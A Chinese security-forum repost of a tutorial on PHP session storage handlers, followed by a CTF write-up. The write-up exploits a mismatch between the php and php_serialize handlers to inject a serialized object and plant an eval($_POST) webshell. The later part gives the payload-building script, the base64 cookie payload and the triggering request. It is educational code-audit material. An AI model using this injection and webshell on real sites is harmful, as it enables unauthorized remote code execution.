安全矩阵

 找回密码
 立即注册
搜索
查看: 2399|回复: 0

一篇文章弄懂session的两种存储方式

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-10-1 20:59:21 | 显示全部楼层 |阅读模式
​文章来源:原创 Lxxx 合天网安实验室 昨天
一篇文章弄懂session的两种存储方式PHP中session有哪些存储方式?根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式PHP内部格式以及WDDX



如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式
本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。
还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。

php_serialize经过serialize()函数序列化数组
php键名+竖线+经过serialize()函数处理的值
php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值php默认处理器与php序列化存储方式有哪些差异?php默认处理器首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:
  1. <?php
  2. //ini_set("session.serialize_handler","php");
  3. session_start();
  4. $_SESSION['tt'] = "Lxxx";
复制代码

访问该网页后我们可以看到以下内容:

这里的信息量有点大,我们逐个分析:

           
  •         首先访问该网页后,在Cookie中会新建一个值,键名为PHPSESSID,键值为一串随机的字符串,其中键名是由session.name决定的,如果不设置,默认为PHPSESSID
                   
           

           
  •         新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为PHPSESSID_<value>,其中value的值即为浏览器中PHPSESSID的值

           
  •         在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线|隔开


php序列化处理器同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下:
  1. <?php
  2. ini_set("session.serialize_handler","php_serialize");
  3. session_start();
  4. $_SESSION['tt'] = "Lxxx";
复制代码
​得到的结果如下:

可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。
那么如果将这两个处理器结合起来,会产生什么安全问题呢?

session存储中可能产生的安全问题:由于PHP默认情况下使用的session存储方式为PHP默认处理器,即存储的内容用竖线|进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用PHP默认处理器操作session,但是在其他页面用PHP序列化操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。
光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。

用一道CTF题阐述session的安全问题首先呢,打开题目:

乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在www.zip源代码泄露。在www.zip中存在以下文件:
相关代码如下:(有些做了省略)
index.php
  1. <?php
  2. if(isset($_SESSION['limit'])){
  3. $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
  4. $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
  5. }else{
  6. setcookie("limit",base64_encode('1'));
  7. $_SESSION['limit']= 1;
  8. }
  9. ?>
复制代码
inc.php
  1. <?php
  2. ini_set('session.serialize_handler', 'php');
  3. class User{
  4.    public $username;
  5.    public $password;
  6.    public $status;
  7.    function __construct($username,$password){
  8.        $this->username = $username;
  9.        $this->password = $password;
  10.   }
  11.    function setStatus($s){
  12.        $this->status=$s;
  13.   }
  14.    function __destruct(){
  15.        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
  16.   }
  17. }
复制代码
check.php

这一道题,经过初步审计之后,我们可以发现三个比较重要的地方:
  • 首先在index.php代码中,有以下代码
    1. $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
    复制代码
    这一行代码看上去有登录失败次数的限制,但是由于题目中limit打成了limti,所以,实际上这一行代码并不影响我们做题。
  • inc.php中,存在以下代码:
    1. ini_set('session.serialize_handler', 'php');
    复制代码
    前面我们提到,默认的PHP对于session的处理方式就是php,但是这里又通过ini_set来设置处理方式是php,由此我们可以大胆假设,这题的环境,默认的session处理方式为php序列化
  • 同样还是在inc.php页面中,有以下代码:
    1. function __destruct(){
    2.    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    3. }
    复制代码
    在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。

经过初步审计之后,我们可以尝试使用将User类序列化后的字符写入limit中,当其他页面调用limit的时候,使用的是php序列化的处理器,这时候php就会对User类进行反序列化,最终写入我们的shell
所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线|,最后进行base64编码。
这里需要添加竖线|的原因是,在inc.php页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。
构造对象如下:

  1. <?php
  2. class User{
  3.    public $username = "1.php";
  4.    public $password = '<?php eval($_POST["a"]);?>';
  5. }
  6. $a = new User();
  7. echo base64_encode("|".serialize($a));;
  8. ?>
复制代码
得到结果:
  1. fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30
复制代码
​首先访问index.php建立会话,然后将这一串传入cookie中的limit

再带参数访问check.php
  1. check.php?u=123&pass=456
复制代码
​访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。



实操推荐

PHP代码审计最佳实践:http://mrw.so/6sZzPs
代码审计是指对程序源代码进行检查、分析,寻找代码中的bug和安全漏洞,
代码审计是Web安全工程师必备的技能,也是企业安全运营者所需要的基础能力。通过本课程的理论学习和动手实践,你将学习到什么是代码安全审计、PHP代码审计的流程、PHP常见危险函数及特殊函数、不规范的编码会造成哪些Web安全漏洞以及如何修复这些漏洞。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 19:19 , Processed in 0.017707 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表